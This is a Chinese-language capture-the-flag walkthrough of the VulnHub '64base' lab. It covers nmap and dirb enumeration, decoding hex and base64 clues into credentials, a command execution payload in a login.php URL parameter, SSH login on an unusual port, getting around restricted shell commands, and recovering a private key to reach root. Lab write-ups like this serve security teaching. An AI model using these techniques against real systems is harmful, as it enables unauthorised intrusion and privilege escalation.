公司动态
vulnhub靶场实战-64base
扫描获取iparp-scan -lnetdiscover -r 10.0.2.0/24nmap 10.0.2.0/2412254结尾的一般是网段所以尝试直接访问10.0.2.3发现成功进入下一步进行深度扫一下看看是否有什么遗漏如果直接nmap 10.0.2.3的话也就只扫描1000个左右的端口所以使用nmap -sT -T4 -p- 10.0.2.3-sT表示tcp扫描-T4表示时间速度为4-p-表示全端口扫描在页面上浏览的过程中发现最下面两行小字所以现在所收集到的信息为主机ip10.0.2.3可使用端口22/tcp open ssh80/tcp open http4899/tcp open radmin62964/tcp open unknown网页信息dmlldyBzb3VyY2UgO0QKOnly respond if you are a real Imperial-Class BountyHunterflag1网页一直显示64base搜一下看看是什么发现是一种编码那后面跟的字符串很有可能就是某些编码进行解码发现为view source ;D发现让看源码页面源码中发现一长串字符记录5a6d78685a7a4637546d705361566c59546d785062464a7654587056656c464953587055616b4a56576b644752574e7151586853534842575555684b6246524551586454656b5a77596d316a4d454e6e5054313943673d3d0a从中可看到全是123456这种数字最大的是e那么大概率就是16进制了。先进行16进制解码获取到ZmxhZzF7TmpSaVlYTmxPbFJvTXpVelFISXpUakJVWkdGRWNqQXhSSHBWUUhKbFREQXdTekZwYm1jMENnPT19Cg最后1个或者2个的便是base64编码了则再进行base64解码得到第一个flagflag1{NjRiYXNlOlRoMzUzQHIzTjBUZGFEcjAxRHpVQHJlTDAwSzFpbmc0Cg}flag2对于flag1的内容看着明显也是64编码解码得64base:Th353r3N0TdaDr01DzUreL00K1ing4解码后的内容像是用户名密码既然有用户名密码那么就有登陆的网站如何寻找登陆的网站需要使用目录爆破了dirb http://10.0.2.3先查看code200可正常访问的dirb http://10.0.2.3 | grep CODE:200扫描到很多东西一个一个打开查看其实很多是陷阱后面的php和html文件没什么参考性了查看到http://10.0.2.3/robots.txt时发现有很多内容但是不知道看哪些换个思路查看code401需要授权访问的dirb http://10.0.2.3 | grep CODE:401有一个admin页面访问进去需要输入用户名密码但是将前面看着像是用户名密码的输入进去后发现登陆不上那么还是只能回到原先的robots.txt文件中里面的内容也都可以访问但是数量太多一个一个试太费时间。直接使用dirb会用默认字典现在可以将robots.txt文件里的内容转化为一个字典再进行dirb就可以自动访问了。先将页面内容下载下来为base64.out文件wget http://10.0.2.3 -rq -O base64.out再将其内容变为字典html2dic base64.out|sort -u base64.dict可使用wc -l base64.dict稍微看一下一共多少条数据借助字典进行dirb http://10.0.2.3 base64.dict| grep CODE:401发现多了一个访问一下http://10.0.2.3/Imperial-Class/输入用户名密码后发现路径错误。提示前往黑暗面。前面仔细阅读网页内容的话会发现出现了很多Dark Side。往下看到一张黑色的图片看到图片下方的一句话Only respond if you are a real Imperial-Class BountyHunter时突然想起刚才所得路径就是Imperial-Class。那么访问http://10.0.2.3/Imperial-Class/BountyHunter/再登陆没反应。但是如果细心一点可以发现url多了一个php文件看一下源码发现3串长字符串现在看到就想到16进制了都拿进去解码一下解码后又是一个base64编码再解码得到flag2flag3一看到flag2后的内容就还是base64编码再进行解码试试访问网站看完视频到最后出现这样一行字当看到burp的时候就想起bp了那么就bp抓一下试试打开Linux中的bp还是在登陆网站输入账户密码进行抓包抓包后发送到重发器发送一下看到响应中有flag3flag3{NTNjcjN0NWgzNzcvSW1wZXJpYWwtQ2xhc3MvQm91bnR5SHVudGVyL2xvZ2luLnBocD9mPWV4ZWMmYz1pZAo}flag4对flag3进行base64解码53cr3t5h377/Imperial-Class/BountyHunter/login.php?fexeccid访问一下啥也没有。看到后面exec想到rec远程命令执行漏洞c为命令行执行。即使后面讲id修改为pwd什么的也还是没反应这时候没思路了。因为有了前面那一行小字的提醒再次去那地方看发现上面一行黄字IMPORTANT!!! USE SYSTEM INSTEAD OF EXEC TO RUN THE SECRET 5H377那么修改exec访问http://10.0.2.3/Imperial-Class/BountyHunter/login.php?fsystemcid发现flag4以及下面这些内容记录Debian GNU/Linux 8 \n \lSat Jul 25 08:57:28 BST 2026Linux 64base 3.16.0-4-586 #1 Debian 3.16.36-1deb8u2 (2016-10-19) i686 GNU/Linuxinet addr:10.0.2.3 Bcast:10.0.2.255 Mask:255.255.255.0inet6 addr: fe80::a00:27ff:fe68:e7f8/64 Scope:Linkuid1001(64base) gid1001(64base) groups1001(64base)flag5flag4{NjRiYXNlOjY0YmFzZTVoMzc3Cg}再次解码又获得了账户密码64base:64base5h377试试登陆admin登陆不上。那剩ssh登陆了ssh 64base10.0.2.3 。发现端口关闭这时候根据前面获取的端口依次尝试4899和62964ssh 64base10.0.2.3 -p 4899ssh 64base10.0.2.3 -p 62964输入密码尝试64base5h377时一直不对对密码进行64base编码试一下得到NjRiYXNlNWgzNzc试试发现密码也不对。那试试kali linux进行编码echo 64base5h377 | base64得到NjRiYXNlNWgzNzcK再尝试进行登陆发现进去了进入后查看都有哪些文件发现一个well_done,看一下具体内容但是每次cat时就出现一个小人正常来说cat是来查看文件内容的但是这里不对而且很多命令也无法正常执行说明应该是环境进行了相关的设置。但是env和echo可以使用查看一下环境变量echo $PATH/*发现里面有个base64那试一下用base64环境跑一下base64 well_done_:D对其进行解码base64 well_done_:D | base64 --decode说是让获取root在看一下环境发现里面有个droids试一下但是好像也没啥用ctrlc退出。再重新看下环境echo $PATH/*准备试试其他的执行后发现和之前执行的结果不一样了而且id等命令也可以执行了。这时候说明已经进入到此网站的后台了。那么去看下之前停留的页面的源代码有什么东西输入cd /var/www/后面的/var/www/为一般的网站目录。进入后发现一个html文件进入看一下发现很多文件。可以依次都试试比如back为备份文件。但现在看到里面有admin进去看一下发现有两个文件再查看一下这两个文件file S3cR37发现又是一个目录php文件看不了。那就进去S3cR37看一下发现flag5。flag5{TG9vayBJbnNpZGUhIDpECg}。flag6对于flag5也可以使用find命令这里存在一个问题靶机中的find路径被作者修改为/var/alt-bin/find展示ascll图并非标准find我们应该使用/usr/bin/find /var -name flag*解码后得到看里面。file一下发现其为一个jpg的图片既然是图片那么就得看看长什么样。但是catheadtail命令都被修改看不了。head的一般完整路径为/usr/bin/head使用一下发现有可能被执行那使用strings转换为字符串看一下那么先转换再查看发现可以strings flag5{TG9vayBJbnNpZGUhIDpECg} | /usr/bin/tailstrings flag5{TG9vayBJbnNpZGUhIDpECg} | /usr/bin/head其实可以看到前面很长一大段字符串看着很像16进制解码发现结果最后也有进行一下base64解码结果显示一份密钥文件也可使用linux中的解码一样可以获取echo 4c530744.......f3d0a | xxd -r -p | base64 -d先将其保存为一个文件echo 4c53307....516f3d0a | xxd -r -p | base64 -d /tmp/ssh.keytmp文件所有用户都有写入权限有了密钥后就可以开始尝试登陆root用户了ssh root10.0.2.3 -p 62964 -i ssh.key发现有问题。一般使用密钥文件时需要权限使用chmod 600 ssh.key添加再次访问ssh root10.0.2.3 -p 62964 -i ssh.key发现需要密码但是密码不知道。回到之前的看file flag5时发现是一张图片但是前面只看了文件内容具体长的样子不知道先看一下。使用scp flag* root10.0.2.15:/tmp/flag5.jpg传入到kali中去kali自身的ssh服务要开启service ssh start 但是发现自己密码不对那不使用root了换成kaliscp ./flag* kali10.0.2.15:/tmp/flag5.jpg可以进入。去tmp文件夹看一下图片样子。看到usetheforce这一串字符是不是密码呢试一下访问ssh -p 62964 root10.0.2.3 -i /tmp/ssh.key并输入usetheforce还真进去了得到flag6flag7很明显对flag6的内容进行base64解码再进行16进制解码再进行64解码再进行16进制解码再进行64解码得到base64 -d /var/local/.luke|less.real然后访问一下得到结束